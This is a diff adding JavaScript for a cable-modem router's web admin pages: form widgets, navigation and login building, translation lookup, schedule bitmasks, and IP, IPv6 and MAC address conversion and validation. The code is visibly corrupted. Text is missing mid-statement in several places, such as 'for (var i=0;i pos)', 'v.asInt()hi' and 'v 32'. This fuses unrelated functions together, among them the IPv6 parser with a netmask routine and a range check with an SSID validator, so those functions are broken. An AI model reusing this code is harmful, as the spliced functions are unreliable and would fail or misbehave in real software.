_td("width:25%", buildCheck(label4))); +} + + +function select(label1, vals, onchangefunc, selectedValue, helpText) { + if (technicianOnly(label1) && !isTechnician()) + return null; + vals = _.without(vals, null); + var dirty = false; + // selectItem(label1); + var l = parseLabel(label1); + var options = []; + var value = selectedValue || ag[label1]; + var haveSelected = _.any(vals, function(v) { return v.split(":")[0] == value; }); + var options = _.map(vals, function f(v, index) { + v = v.split(":"); + if (v[0] == value || (!haveSelected && index ===0)) + return _option("value:" + v[0], "text:" + htmlEscape(v[1]), "selected:selected"); + else return _option("value:" + v[0], "text:" + htmlEscape(v[1])); + }); + afterApply(function() { + if (ag[label1] !== undefined) { + var v = $("#" + label1).valOrChecked(); + ag.dirty[label1] = ag[label1] !== v; + ag[label1] = v; + } else ag.dirty[label1] = true; + }); + return _tr(_td("width:35%", "text:{{" + label1+"}}"), _td(_select("id:" + l.label, options, function onchange() { + dirty = true; + if (onchangefunc) + onchangefunc(); + }), helpTag(label1, helpText))); +} +function select2(label1, vals, onchange, sepText) { + if (technicianOnly(label1) && !isTechnician()) + return null; + afterApply(function() { + if (ag[label1] !== undefined) { + var v1 = $("#" + label1).valOrChecked(); + ag.dirty[label1] = ag[label1] !== v1; + ag[label1] = v1; + } ag.dirty[label1] = true; + if (ag[label1 + "_1"] !== undefined) { + var v2 = $("#" + label1 + "_1").valOrChecked(); + ag.dirty[label1+ "_1" ] = ag[label1 + "_1"] !== v2; + ag[label1+ "_1"] = v2; + } ag.dirty[label1+"_1"] = true; + }); + vals = _.without(vals, null); + var l = parseLabel(label1); + var options = []; + for (var i = 0; i < vals.length; i++) { + var index = vals[i].indexOf(":"); + options[i] = _option("value:" + vals[i].substr(0, index), "text:" + vals[i].substr(index + 1)); + } + return _tr(_td("width:35%", "text:{{" + label1+"}}"), _td(_select("id:" + l.label, options, onchange), + _b("text:" + (sepText !== undefined ? " " + sepText + " " : "")), + _select("id:" + l.label + "_1", options, onchange), helpTag(label1))); +} + +function select2Optional(label1, vals, onchange, sepText, optionalCheckText) { + if (technicianOnly(label1) && !isTechnician()) + return null; + afterBuild(function() { + $("#" + l.label + "div").hide(); + }); + afterApply(function() { + if (ag[label1] !== undefined) { + ag[label1 + "_Checked"] = $("#" + label1 + "check").valOrChecked(); + } + if (ag[label1] !== undefined) { + ag[label1] = $("#" + label1).valOrChecked(); + } + if (ag[label1 + "_1"] !== undefined) { + ag[label1 + "_1"] = $("#" + label1 + "_1").valOrChecked(); + } + }); + vals = _.without(vals, null); + var l = parseLabel(label1); + var options = []; + for (var i = 0; i < vals.length; i++) { + var index = vals[i].indexOf(":"); + options[i] = _option("value:" + vals[i].substr(0, index), "text:" + vals[i].substr(index + 1)); + } + return _tr(_td("width:35%", "text:{{" + label1+"}}"), + _td(_div("style:height:24px;width:100px;", _input("id:" + l.label + "_Checked", "type:checkbox", "checked:checked", + function onclick() { + if (!$("#" + l.label + "_Checked").valOrChecked()) { + $("#" + l.label + "div").show(); + } else { + $("#" + l.label + "div").hide(); + } + } + +// function onchange() { +// if (!$("#" + l.label + "_Checked").valOrChecked()) { +// alert("show "+("#" + l.label + "div")); +// $("#" + l.label + "div").show(); +// } else { +// alert("hide "+("#" + l.label + "div")); +// $("#" + l.label + "div").hide(); +// } +// } + ), _b("text:" + optionalCheckText)), + // + _div("id:" + l.label + "div", + _select("id:" + l.label, options, onchange), + _b("text:" + (sepText !== undefined ? " " + sepText + " " : "")), + _select("id:" + l.label + "_1", options, onchange), helpTag(label1)))); +} +function ApplyButton() { + return buttons("{{Apply}}", function onclick(event) { + Apply(); + }); +} + +function buttons() { + var buttons = []; + for (var i = 0; i < 4; i++) + if (arguments[i * 2]) { + buttons.push(_input("type:button", "value:" + arguments[i * 2], "class:submitBtn", arguments[i * 2 + 1])); + } + + return _div(_br(), buttons); +} +function dialog(id, title, elements, okName, okAction) { + var buttonsDef = { }; + buttonsDef[xlate("Cancel")] = function() { + $(this).dialog("close"); + }; + buttonsDef[xlate(okName)] = function() { + try { + okAction.apply(this); + } catch (e) { + handleError(e); + } + }; + window["dialog_" + id] = { + autoOpen: false, width:500, modal: true, + dialogClass: "fieldgrp", + buttons: buttonsDef + }; + + return _div("id:" + id, "title:" + xlate(title), _table("class:common_table", _tbody(elements))); +} +function prepareDialog(id) { + $("#" + id).dialog(window["dialog_" + id]); +} + +function getURLArgs() { + var pos = location.href.lastIndexOf('?'); + if (pos == -1) + return ""; + var s = decodeURI(location.href.substr(pos + 1)).split("&"); + var page = s[0]; + _.each(s, function(a) { + if (a.startsWith("debug")) { + debug(a.substr(5)); + } + }); + return page; +} + +function getPage() { + var v = window.location.pathname; + if (v.startsWith("/")) + v = v.slice(1); + return v; +} + + +function goRebuild(tag) { + window.event.preventDefault(); + rebuild(tag); + // window.open(getPage()+'?'+tag, "_self"); +} +function go(tag) { + window.open(getPage() + '?' + tag, "_self"); +} + +function buildShell() { + $.log("buildShell"); + + if (typeof noMenus !== "undefined" && noMenus) { + var shell = _div("id:wrapper", + _div("id:content", + _div("id:tabs", + _div("id:first", + _div("id:placeholder", + _table(_tbody(_tr( + _td(_div("id:mainpage")))))) + ))), + _div("id:walk-dialog", "title:", "style:display: none;"), + _div("id:action-dialog", "title:", "style:display: none;"), + _div("id:error-dialog", "title:", "style:display: none;"), + _div("id:wait-dialog", "title:", "style:display: none;", "text:Applying Changes...") + ); + $(shell.toHTML()).appendTo("body"); + + + $("body").css("background", "transparent"); + $("#wrapper").css("background", "transparent"); + $("#footer").css("background", "transparent"); + $("#wrapper").css("width", "650"); + + + return; + } + + //id page children + var m = menu(); + if (!isLoggedIn()) { + m = [ + { id: "Login", page: "login", children: [ + { id: "Login", page:"login" } + ] } + ]; + } + + var hash = isLoggedIn() ? (getURLArgs() || m[0].page) : "login"; + + var index = 0; + + function sel(p) { + return getPage() == p ? "class:selected" : null; + } + + // var topNav = _ul("id:nav", + // _li(_a(sel("router.html"), "href:router.html", "text:Wireless")), // "href:router.html", + // _li(_a(sel("cm.html"), "href:cm.html", "text:HSD" )), // "href:router.html", + // // _li(_a("href:voice.html", "text:Voice")), // "class:end" + // //_li(_a("href:phy.htm", "class:end", "text:Voice")), + // _li(_a("href:"+getPage(), "text:Logout", function onclick() { + // logout(); + // refresh(); + // })) + // ); + var hsd = menuVisible("HSD"); + var topNav = getAttr("CLASSICCM") ? _ul("id:nav", + _li(_a("class:selected", "href:#", "text:{{Wireless}}")), // "href:router.html", + + hsd ? _li(_a(getAttr("CLASSICCM") ? ("href:"+ "phy.htm") : ("href:cm.html"), "text:{{HSD}}", "class:end")) : null, // "href:router.html", + // _li(_a("href:voice.html", "text:Voice")), + //_li(_a("href:phy.htm", "class:end", "text:Voice")), + _li(_a("href:router.html", "text:{{Logout}}", function onclick() { + logout(true); + refresh(); + })) + ) : _ul("id:nav", + _li(_a(sel("router.html"), "href:router.html", "text:{{Wireless}}")), // "href:router.html", + hsd ? _li(_a(sel("cm.html"), "href:cm.html", "text:{{HSD}}")) : null, // "href:router.html", + // _li(_a("href:voice.html", "text:Voice")), // "class:end" + //_li(_a("href:phy.htm", "class:end", "text:Voice")), + _li(_a("href:" + getPage(), "text:{{Logout}}", function onclick() { + logout(true); + refresh(); + })) + ); + + var mainMenu = [ ]; + var subMenu = [ ]; + $.each(m, function(k, v) { + if (!v) + return; + if (v.page == hash) { + mainMenu = v; + subMenu = v; + } else { + $.each(v.children, function(k, vv) { + if (vv && vv.page == hash) { + mainMenu = v; + subMenu = vv; + } + }); + } + }); + + $.log(mainMenu.id); + $.log(subMenu.id); + + + var sideNav = _div("id:navigation_bar", + _h1("text:{{" + mainMenu.id+"}}"), + _ul("class:sidenav", + $.map(mainMenu.children ? mainMenu.children : [], function(m) { // "class:current" class:selected + if (!m || !m.page) + return null; + if (m == subMenu) + return _li(_a("href:" + getPage() + "?" + m.page, "text:{{" + m.id+"}}", "class:current", "onclick: go('" + m.page + "');")); + else return _li(_a("href:" + getPage() + "?" + m.page, "text:{{" + m.id+"}}", "onclick: go('" + m.page + "');")); + }), + _div("style:VISIBILITY: hidden", "id:version", "text:1.0") + ), + _div("id:sidenav_bottom")); + + + var shell = _div("id:wrapper", + _div("id:header", _img("src:i/logo.gif", "id:logo"), topNav), + // _div("id:header", _img("src:logo_MSO.png", "id:logo", "width:150px"), topNav), + _div("id:content", + _div("id:tabs", + _ul("class:tabNavigation", + $.map(m, function(m) { // "class:current" + if (!m) + return null; + var selected = _.include(_.pluck(m.children, "page"),base) ? "class:selected" : ""; + return _li(_a(selected, "href:" + getPage() + "?" + m.page, "text:{{" + m.id+"}}", "onclick: go('" + m.page + "');")); + }) + ), + _div("id:first", + _div("id:placeholder", + _table(_tbody(_tr( + _td("width:200px", sideNav), + _td(_div("id:mainpage")))))) + ))), + _img("src:i/content_bottom.jpg", "width:973", "height:6", "complete:complete"), + _div("id:footer"), + _div("id:walk-dialog", "title:", "style:display: none;"), + _div("id:action-dialog", "title:", "style:display: none;"), + _div("id:error-dialog", "title:", "style:display: none;"), + _div("id:wait-dialog", "title:", "style:display: none;", "text:Applying Changes...") + + ) + ; + $(shell.toHTML()).appendTo("body"); + // $(header.toHTML()).appendTo("#header"); + // $(new Menu().build().toHTML()).appendTo($("#sidebar")); + + // make sure menus fit + $(".sidenav a").truncateTextToFit(); +} + + +function afterBuild(func) { + _afterBuild.push(func); +} +function afterBuildOnce(func) { + if (!_.include(_afterBuild, func)) + _afterBuild.push(func); +} + +function afterApply(func) { + _afterApply.push(func); +} + +// alog +function addCustomSetting(s) { + var ud = snmpGet1(arCustomSettings.oid+".0") || ""; + if (!ud.contains(s+"!")) { + ud += s+"!"; + snmpSet1(arCustomSettings.oid+".0", ud, "4"); + } +} + + +function handleError(e) { + if (e === "unauthorized") { + refresh(); + return; + } + if (e["label"]) + alert(xlate("Could not set ") + "\"" +xlate(e["label"])+"\""); // todo: tranlaset + else if (canXlate(e)) + alert(xlate(e)); + else if (_.isString(e)) + alert(e); + else alert(xlate("Error")); // todo: tranlaset +} + +function DoApply() { + try { + $.each(_afterApply, function (k, v) { + v(); + }); + if (typeof storeData === "undefined") + return; + storeData(); + store(); + refresh(); + } catch (e) { + if (e == "cancel") + ; // nothing + else handleError(e); + } finally { + closeWaitDialog() + } +} + +function Apply() { + openWaitDialog(); + setTimeout(DoApply, 10); +} + + + +function loginbuild() { + ag = { }; + ag.UserName = isSuddenlink() ? "" : "admin"; + ag.Password = ""; + doLogin = function() { + login($("#UserName").val(), $("#Password").val()) + if (!isLoggedIn()) { + alert(xlate("Invalid Username or Password!")); + } + refresh(); + }; + afterBuild(function() { + $(document).keypress(function(event){ + var keycode = (event.keyCode ? event.keyCode : event.which); + if(keycode == '13'){ + doLogin(); + } + }); + }); + return form("Login", "LoginText", + fieldset("Login", + [text("UserName"), + text("Password") + ]), + buttons("{{Apply}}", function onclick() { + doLogin(); + })); +} + +function disablePage() { + $('#mainpage *').attr('disabled', true); + $('.submitBtn').hide(); + if ($("#LAN")) { // make sure we can see lan change + $("#LAN").parents().removeAttr('disabled'); + $("#LAN ").removeAttr('disabled'); + $("#LAN").children().removeAttr('disabled'); + $("#LAN").show(); + } + if ($("#BSS")) { // make sure we can see lan change + $("#BSS").parents().removeAttr('disabled'); + $("#BSS").removeAttr('disabled'); + $("#BSS").children().removeAttr('disabled'); + $("#BSS").show(); + } +} + + + +function enableItem(id) { + $('.submitBtn').show(); // make sure we can see + $('.submitBtn').removeAttr('disabled'); // make sure we can see + $('.submitBtn').parent().removeAttr('disabled'); + if ($(id)) { + $(id).parents().removeAttr('disabled'); + $(id).removeAttr('disabled'); + $(id).children().removeAttr('disabled'); + $(id).show(); + } +} + + + +function render2() { + $.each(_afterBuild, function(k, v) { + v(); + }); + + if ($("#dialog")) + prepareDialog("dialog"); + if ($("#dialog1")) + prepareDialog("dialog1"); + if ($("#dialog2")) + prepareDialog("dialog2"); + + $("body").ajaxError(function(event, request, settings) { + // alert("Error Requesting Data"); + // refresh(); + }); + + if (!pageEnabled(base)) { + disablePage(); + } + if (isLoggedIn() && (!submenuVisible(base) || !menuMap[base])) { + $('#mainpage').hide(); + } + +} + +function render() { + + buildShell(); + var def = isLoggedIn() ? build() : loginbuild(); + $(def.toHTML()).appendTo($("#mainpage")); + + + if (ag) + ag.dirty = { }; + + $(render2()); +} + + +function getSelectedLAN() { + if (!isTechnician() || isMG()) + return getLan()[0]; + return getSessionStorage("ar_selected_lan") || getLan()[0] ; +} +function selectLan() { + if (!isTechnician() || isMG()) + return null; + ag.LAN = getSelectedLAN(); + var slans = _.map(getLan(), function (v) { + return "" + v + ":" + getLanName(v) + }); + return fieldset("LANSegment", select("LAN", slans, function onChange() { + $.log("selected lan set " + $("#LAN").val()); + setSessionStorage("ar_selected_lan", $("#LAN").val()); + refresh(); + })); +} + +function getSelectedBss() { + if (!isTechnician() || isMG()) + return getBss()[0]; + return getSessionStorage("ar_selected_bss") || getBss()[0] ; +} + +function selectBss() { + if (!isTechnician() || isMG()) + return null; + ag.BSS = getSelectedBss(); + var slans = _.map(getBss(), function (v) { + return "" + v + ":" + getBssName(v) + }); + return fieldset("Wireless", select("BSS", slans, function onChange() { + $.log("selected bss set " + $("#BSS").val()); + setSessionStorage("ar_selected_bss", $("#BSS").val()); + refresh(); + })); +} + + +function sectionIndex() { + var a = new Array(); + for (var i = 0; i < 99; i++) { + if (arguments[i * 3]) { + var li; + (function(id1, id2, url) { + li = _li(_a("href:" + url, _label("class:item", "text:{{" + id1 +"}}"), + _br(), _label("text:{{" + id2+"}}"), _br() + ), _br()); + })(arguments[i * 3], arguments[i * 3 + 1], arguments[i * 3 + 2]); + a.push(li); + } else break; + } + return _ul(a); +} + +function canXlate(id) { + return _xlate [id]; +} +function xlate(id, arg1, arg2, arg3) { +// if (debug()&8) +// return "{{"+id+"}}"; + var o = _xlate [id]; + + if ((debug()&8) && !o) + o = "@@"+id; + + if (!o) { + o = id.replace("_tt",""); + if (_xlate[o]) + o = _xlate[o]; + } +// if (!o) +// alert("no def for "+o); + if (arg1 !== undefined) + o = o.replace("%s",arg1); + if (arg2 !== undefined) + o = o.replace("%s",arg2); + if (arg3 !== undefined) + o = o.replace("%s",arg3); + return o; +} + +function helpText(id) { + return xlate(id+"_tt"); +} + +function technicianOnly(id, value) { + if (value !== undefined) + _technician[id] = value; + return _technician[id] === undefined ? false : _technician[id]; +} + + +function updateDisabledState(checkboxsel, inputsel, invert) { + var on = $(checkboxsel).attr("checked") && !$(checkboxsel).attr("disabled"); + if (invert) + on = !on; + var id = $(checkboxsel).attr("id"); + $(inputsel).each(function() { + if ($(this).attr("id") != id && !$(this).hasClass(".read_only")) { + if (on) { + $(this).removeClass("input_disabled"); + $(this).removeAttr("disabled"); + } else { + $(this).addClass("input_disabled"); + $(this).attr("disabled", "disabled"); + } + } + }); + $(inputsel).each(function() { + if ($(this).attr("id") != id && !$(this).hasClass(".read_only")) { + if ($(this).is(':checkbox')) { + $(this).trigger("change"); + } + } + }); +} + +function setupCheck(checkboxsel, inputsel, invert) { + function updater() { + if (invert) + updateDisabledState(checkboxsel, inputsel, true); + else updateDisabledState(checkboxsel, inputsel); + } + afterBuild(function() { + $(checkboxsel).bind("click", updater); + updater(); + }); +} + + +function todToInt(day1, day2, hour1, hour2) { + day1 = day1.asInt(); + day2 = day2.asInt(); + hour1 = hour1.asInt(); + hour2 = hour2.asInt(); + + if (hour1 >= hour2) + throw xlate("No hours of the day selected. Second hour must be after the first."); + var todDay = 0; + var todTime = 0; + var i = 0; + if (day1 > day2) { + for (i = day1; i <= 6; i++) + todDay |= (1 << i); + for (i = 0; i <= day2; i++) + todDay |= (1 << i); + } else { + for (i = day1; i <= day2; i++) + todDay |= (1 << i); + } + todDay &= 0x7F; + if (hour1 > hour2) { + for (i = hour1; i <= 23; i++) + todTime |= 1 << i; + for (i = 0; i <= hour2; i++) + todTime |= 1 << i; + } else { + for (i = hour1; i < hour2; i++) { + var shift = (i === 0) ? (1 << 0) : (1 << (i)); + todTime |= shift; + } + } + return (todTime << 7) | todDay; +} +function lowestBitSet(tod, l, h) { + tod = parseInt(tod,10); + l = parseInt(l,10); + h = parseInt(h,10); + for (var i = l; i <= h; i++) + if (tod & (1 << i)) + return i; + return l; +} +function highestBitSet(tod, l, h) { + for (var i = h; i >= l; i--) + if (tod & (1 << i)) + return i; + return h; +} + +function todToTimeString(tod, s_min, e_min) { + tod = parseInt(tod,10); + var l = (lowestBitSet(tod, 7, 30) - 7); + var h = (highestBitSet(tod, 7, 30) - 7); + var l_min = (s_min==undefined? ":00" : s_min) + var h_min = (e_min==undefined? ":00" : e_min) + + var s = l.asString(2) + ":"+l_min +"-" + (h + 0).asString(2) + ":"+h_min; + if (s == "00:00-24:00") + s = "All Day"; + return s; +} +function todToDayString(tod) { + var day = ""; + tod = parseInt(tod,10); + if ((tod & 0x07F) === 0x07F) + return "Every Day"; + tod = tod & 0x7F; + for (var i = 0; i <= 6; i++) + if (tod & (1 << i)) + day += days[i].substr(2) + ","; + if (day.endsWith(",")) + day = day.substr(0, day.length - 1); + return day; +} + + +function refresh() { + location.reload(true); + window.open(location.href, "_self"); + + // location.reload(true); + // window.open(location.href, "_self"); + +} + + + +function isHexString(s) { + if (s.length === 0) + return false; + var pos = 0; + if (s.charAt(pos) == '$') + pos++; + while (pos < s.length) { + if ("01234567789ABCDEFabcdef ".indexOf(s.charAt(pos)) == -1) + return false; + else pos++; + } + return true; +} + +function parseHexString(hs) { + if (!isHexString(hs)) + return [ ]; + var a = [ ]; + var pos = 0; + if (hs.charAt(pos) == '$') + pos++; + + while (pos < hs.length) { + if (hs.charAt(pos) == ' ') { + pos++; + continue; + } + if (hs.length < 2) + return [ ]; + var num = parseInt(hs.charAt(pos), 16) * 16 + parseInt(hs.charAt(pos + 1), 16); + if (isNaN(num)) + return [ ]; + pos += 2; + a.push(num); + } + return a; +} +function toHexString(a) { + var s = "$"; + _.each(a, function(d) { + if (d < 16) s += "0"; + s += Number(d).toString(16).toUpperCase() + }); + return s; +} + +function stringToHex(s) { + var v = ""; + for (var i = 0; i < s.length; i++) + v += toHexDig(s.charCodeAt(i), 2); + return v; +} +function hexToString(s) { + return String.fromCharCode.apply(this, parseHexString(s)); +} +function toHexDig(s, len) { + s = Number(s).toString(16).toUpperCase(); + if (s.length < len) + s = "00000000000000000000000000".substr(0, len - s.length) + s; + return s; +} + + +function ipToHex(v, sep) { + if (sep === undefined) + sep = ""; + sep = ""; + var reg = /^[0-9]+.[0-9]+.[0-9]+.[0-9]+$/; + if (!reg.test(v)) + return "$" + "00" + sep + "00" + sep + "00" + sep + "00"; + var a = v.split("."); + return "$" + toHexDig(a[0], 2) + sep + toHexDig(a[1], 2) + + sep + toHexDig(a[2], 2) + sep + toHexDig(a[3], 2); +} +function hexToIp(v) { + if (!v) + return "0.0.0.0"; + if (!v.startsWith("$") && v.length === 4) + v = convertASCIIStringToHexString(v); + else if (!v.startsWith("$")) + return v; + var reg = /\$?([0-9A-Fa-f][0-9A-Fa-f]) ?([0-9A-Fa-f][0-9A-Fa-f]) ?([0-9A-Fa-f][0-9A-Fa-f]) ?([0-9A-Fa-f][0-9A-Fa-f]) ?/; + if (!reg.test(v)) + return "0.0.0.0"; + var s = ""; + s += parseInt(RegExp.$1, 16) + "."; + s += parseInt(RegExp.$2, 16) + "."; + s += parseInt(RegExp.$3, 16) + "."; + s += parseInt(RegExp.$4, 16); + return s; +} + +function macToHex(v) { + v = v.toUpperCase(); + var reg = /^[0-9A-Fa-f][0-9A-Fa-f]:[0-9A-Fa-f][0-9A-Fa-f]:[0-9A-Fa-f][0-9A-Fa-f]:[0-9A-Fa-f][0-9A-Fa-f]:[0-9A-Fa-f][0-9A-Fa-f]:[0-9A-Fa-f][0-9A-Fa-f]$/; + if (!reg.test(v)) + return "$" + "000000000000"; + //var a = v.split(":"); + return "$" + v.replace(/:/g, ""); +} +function hexToMac(v) { + if (!v) + return ""; + if (!v.startsWith("$") && v.length === 6) + v = convertASCIIStringToHexString(v); + if (v.startsWith("$")) + v = v.substr(1); + + v = v.replace(/ /g, ""); + var reg = /^[0-9A-Fa-f][0-9A-Fa-f][0-9A-Fa-f][0-9A-Fa-f][0-9A-Fa-f][0-9A-Fa-f][0-9A-Fa-f][0-9A-Fa-f][0-9A-Fa-f][0-9A-Fa-f][0-9A-Fa-f][0-9A-Fa-f]$/; + if (!reg.test(v)) + return "00:00:00:00:00:00"; + var s = ""; + for (var i = 0; i < 6; i++) { + s += v.charAt(i * 2); + s += v.charAt(i * 2 + 1); + if (i < 6 - 1) + s += ":"; + } + return s; +} + + +function ipv4ToHex(s) { + var reg = /^[0-9]+.[0-9]+.[0-9]+.[0-9]+$/; + if (!reg.test(s)) + return null; + var hex = ""; + s = s.split("."); + for (var i=0; i<4; i++) { + if (s[i].asInt() > 255) + return null; + hex += toHexDig(s[i], 2) + } + return hex; +} + + function hexToIpv4(v) { + if (!v) + return null; + if (!v.startsWith("$") && v.length === 4) + v = convertASCIIStringToHexString(v); + else if (!v.startsWith("$")) + return v; + v = v.replace("$","").replace(/ /g,""); + if (!/^[0-9A-Fa-f]{8}$/.test(v)) + return null; + v = v.match(/([0-9A-Fa-f]{2})/g); + var s = ""; + for (var i=0;i<4;i++) + s += parseInt(v[i], 16) + (i!=3 ? "." : ""); + return s; + } + + +function hexToIpv6(v) { + if (!v) + return ""; + if (!v.startsWith("$") && v.length === 16) + v = convertASCIIStringToHexString(v); + else if (!v.startsWith("$")) + return v; + v = v.replace("$","").replace(/ /g,""); + if (!/^[0-9A-Fa-f]{32}$/.test(v)) + return ""; + v = v.match(/([0-9A-Fa-f]{4})/g); + var s = ""; + for (var i=0;i<8;i++) { + //alert(s); + s += ""+v[i].replace(/^[0]{1,3}/,"")+":"; + //alert(s); + } + s = ":"+s; +/* + // does it need to replace 0: to ::??? + for (i=8; i>=2; i--) { + var rg = new RegExp(":(0:){"+i+"}"); + if (rg.test(s)) { + s = s.replace(rg,"::"); + break; + } + } +*/ + s = s.substr(1,s.length-2); + if (s == "") + return "::"; + if (s.startsWith(":")) + return ":"+s; + if (s.endsWith(":")) + return s+":"; + return s; +} + + +function hexToIpv6x(v) { + if (!v) + return null; + if (!v.startsWith("$") && v.length === 16) + v = convertASCIIStringToHexString(v); + v = v.replace("$","").replace(/ /g,""); + if (!/^[0-9A-Fa-f]{32}$/.test(v)) + return null; + v = v.match(/([0-9A-Fa-f]{4})/g); + var s = ""; + for (var i=0;i<8;i++) + s += ""+v[i].replace(/^[0]{1,3}/,"")+":"; + for (i=8; i>=2; i--) { + var rg = new RegExp("(0:){"+i+"}"); + if (rg.test(s)) { + s = s.replace(rg,":"); + break; + } + } + s = s.substr(0,s.length-1); + if (s == "") + return "::"; + if (s.startsWith(":")) + return ":"+s; + if (s.endsWith(":")) + return s+":"; + return s; +} + +function ipv6ToHex(s) { + var v = ipv6ToHexOrNull(s); + return v===null || v===undefined ? "$00000000000000000000000000000000": v; +} + function ipv6ToHexOrNull(s) { + if (s=="::") + return "$"+"".padLeft("0",32); + if (s.startsWith("::")) + s = "0::"+s.substr(2); + if (s.endsWith("::")) + s = s.substr(0, s.length-2)+"::0"; + var foundColonColon=false; + var hex = ""; + var fail = false; + var parts = s.split(":"); + if (parts.length == 1 || parts.length > 8) return null; + for (var i=0;i pos) { + bits = v - pos; + if (bits > 8) + bits = 8; + } + pos += 8; + s += toHexDig((1 << bits) - 1, 2) + (i < 3 ? " " : ""); + } + return hexToIp(s); +} + + + +function prefix() { + var o = formatter(); + o.load = function(v) { + var s = "$"; + if (!v) + v = 0; + var pos = 0; + for (var i = 0; i < 4; i++) { + var bits = 0; + if (v > pos) { + bits = v - pos; + if (bits > 8) + bits = 8; + } + pos += 8; + s += toHexDig( (((1<= 0; j--) { + var on = (d & (1 << j)); + if (!done && on) + prefix++; + else done = true; + if (done && on) + throw msg; + } + } + return prefix; + }; + o.validate = function(v) { + if (this.notEmpty && (""+v).length === 0) + throw xlate("Subnet Mask Address cannot be empty"); + if (!v) + return v; + var reg = /^([0-9]+)\.([0-9]+)\.([0-9]+)\.([0-9]+)$/; + if (!reg.test(v)) + throw xlate("Invalid Subnet Mask: Must be 4 numbers separated by '.' e.g. 123.44.5.245"); + var allZero = true; + _.each(v.split(/\./), function f(i) { + if (i.asInt() > 255) + throw xlate("'%s' is not a valid part of a Subnet Mask. Must be less than 256.",i);; + if (allZero) + allZero = i.asInt() === 0; + }); + + if (this.notZero && allZero) + throw xlate("Subnet Mask cannot be all zero"); + return v; + } + return o; +} + +function nullIp(ip) { + return ip.length === 0 || ip == "0.0.0.0" || ip == "$00000000"; +} + +function hexIp() { + var o = formatter(); + o.load = function(v) { + return hexToIp(v); + }; + o.store = function(v) { + //alert("store "+v+" "+ipToHex(v)); + return ipToHex(v, " "); + }; + o.validate = function(v) { + if (this.notEmpty && (""+v).length === 0) + throw xlate("IP Address cannot be empty"); + if (!v) + return v; + var reg = /^([0-9]+)\.([0-9]+)\.([0-9]+)\.([0-9]+)$/; + if (!reg.test(v)) + throw xlate("Invalid IP Address: Must be 4 numbers separated by '.' e.g. 123.44.5.245"); + var allZero = true; + var index = 0; + _.each(v.split(/\./), function f(i) { + if (i.asInt() > 255) + throw xlate("'%s' is not a valid part of an IP Address. Must be less than 256.", i); + if (index==0 && i.asInt() == 127) + throw xlate("Invalid IP Address"); + if (allZero) + allZero = i.asInt() === 0; + index++; + }); + + if (this.notZero && allZero) + throw xlate("IP Address cannot be all zero"); + return v; + } + return o; +} +function hexIpNotNull() { + var o = hexIp(); + o.notEmpty = true; + o.notZero = true; + return o; +} + + + + + +function TypedAddr(type,addr) { + this.type = type; + this.addr = addr; + this.toString = function() { + return addr; + } +} + +function typedAddr() { + var o = formatter(); + o.notEmpty = true; + function hasName(v) { + return /[a-z]/i.test(v); + } + o.hexIp = new hexIp(); + o.load = function(v) { + if (v.type == "16") + return v.addr; + else return this.hexIp.load(v.addr); + }; + o.store = function(v) { + var oo = { + type:hasName(v) ? "16" : "1", // mod for ipv6 + addr:hasName(v) ? v : o.hexIp.store(v, " ") + }; + return oo; + }; + o.validate = function(v) { + if (this.notEmpty && (""+v).length === 0) + throw xlate("IP Address cannot be empty"); + if (!v) + return v; + if (hasName(v)) + return v; + return o.hexIp.validate(v); + } + return o; +} + + +function hexIpV6() { + var o = formatter(); + o.notEmpty = true; + //o.notZero = true; leave this until heavy qa + o.load = function(v) { + if (!v) + v = "::"; + else v = hexToIpv6(v) || "::"; + if (!o.notEmpty && (!v || v=="::" || /^.?null.?$/.test(v))) + v = ""; + return v; + } + o.store = function(v) { + return ipv6ToHex(v); + } + o.validate = function(v) { + if (!o.notEmpty && v == "") + return v; + if(!o.notEmpty && /^.?null.?$/.test(v)) + return ""; + var hex = ipv6ToHexOrNull(v); + if (hex !== null) { + if (o.notZero && hex == "$00000000000000000000000000000000") + throw xlate("IP Address cannot be empty"); + return v; + } + throw xlate("Invalid IPV6 Address"); + } + o.normalize = function(v) { + return o.load(o.store(v)); + } + + + o.size = 40; + return o; +} + + + +function hexIpV6OrNull() { + o = hexIpV6(); + o.notEmpty = false; + o.notZero = false; + return o; +} + +function hexIpV6orFQDN() { + var o = formatter(); + o.load = function(v) { + if (v.startsWith("$")) { + if (v.replace("$","").replace(/ /g,"") == "00000000000000000000000000000000") + return ""; + return hexToIpv6(v) || "::"; + } + else return v; + } + o.store = function(v) { + return !v ? "" : (v.contains(":") ? ipv6ToHex(v) : v); + } + o.validate = function(v) { + if (!v) + return ""; //throw xlate("Must specify domain name or IP address"); + if (v.contains(":") && ipv6ToHexOrNull(v) !== null) + return v; + else { + return v; + } + throw xlate("Invalid IPV6 Address"); + } + o.size = 40; + return o; +} + + + +function macAddr() { + var o = formatter(); + o.load = function(v) { + return hexToMac(v); + }; + o.store = function(v) { + //alert("store "+v+" "+ipToHex(v)); + return macToHex(v); + }; + o.validate = function(v) { + if (!v) + return v; + var reg = /^[0-9A-Fa-f][0-9A-Fa-f]:[0-9A-Fa-f][0-9A-Fa-f]:[0-9A-Fa-f][0-9A-Fa-f]:[0-9A-Fa-f][0-9A-Fa-f]:[0-9A-Fa-f][0-9A-Fa-f]:[0-9A-Fa-f][0-9A-Fa-f]$/; + if (!reg.test(v) || v == "00:00:00:00:00:00") + throw xlate("Invalid Mac Address: Must be 6 pairs of hexdecimals separated by ':' e.g. 12:34:56:78:9A:BC"); + return v; + } + return o; +} + +function intField() { + var o = formatter(); + o.validate = function(v) { + var reg = /^[0-9]+$/; + if (!reg.test(v)) + throw xlate("%s must be a number.",this.label); + return v; + } + return o; +} + +function intRangeField(lo, hi) { + var o = formatter(); + o.validate = function(v) { + var reg = /^[0-9]+$/; + if (!reg.test(v)) + throw xlate("%s must be a number.",this.label); + if (v.asInt()hi) + throw xlate("%s must be between %s and %s.",this.label,lo,hi); + return v; + } + return o; +} + +function intRangeFieldOrZero(lo, hi) { + var o = formatter(); + o.validate = function(v) { + var reg = /^[0-9]+$/; + if (!reg.test(v)) + throw xlate("%s must be a number.",this.label); + if (v.asInt()!==0 && (v.asInt()hi)) + throw xlate("%s must be between %s and %s or 0.",v,lo,hi); + return v; + } + return o; +} + +function rangeCheck (msg, v, lo, hi) { + if (v > hi || v 32) + throw xlate("Invalid SSID: Must be between 1 and 32 characters."); + _.each(s.split(""), function(c, i) { + if (i === 0 && "!#;".indexOf(c) != -1) + throw xlate("Invalid SSID: Cannot start with !, # or ;"); + if ("?\"$[\\]".indexOf(c) != -1) + throw xlate("Invalid SSID: Cannot contain ?, \", $, [, \\, ] or +"); + }); + return s; + } + return o; +} + +function canConvertToASCII(s) { + return _.all(parseHexString(s), function(d) { + return d >= 32 && d <= 126 + }); +} +function 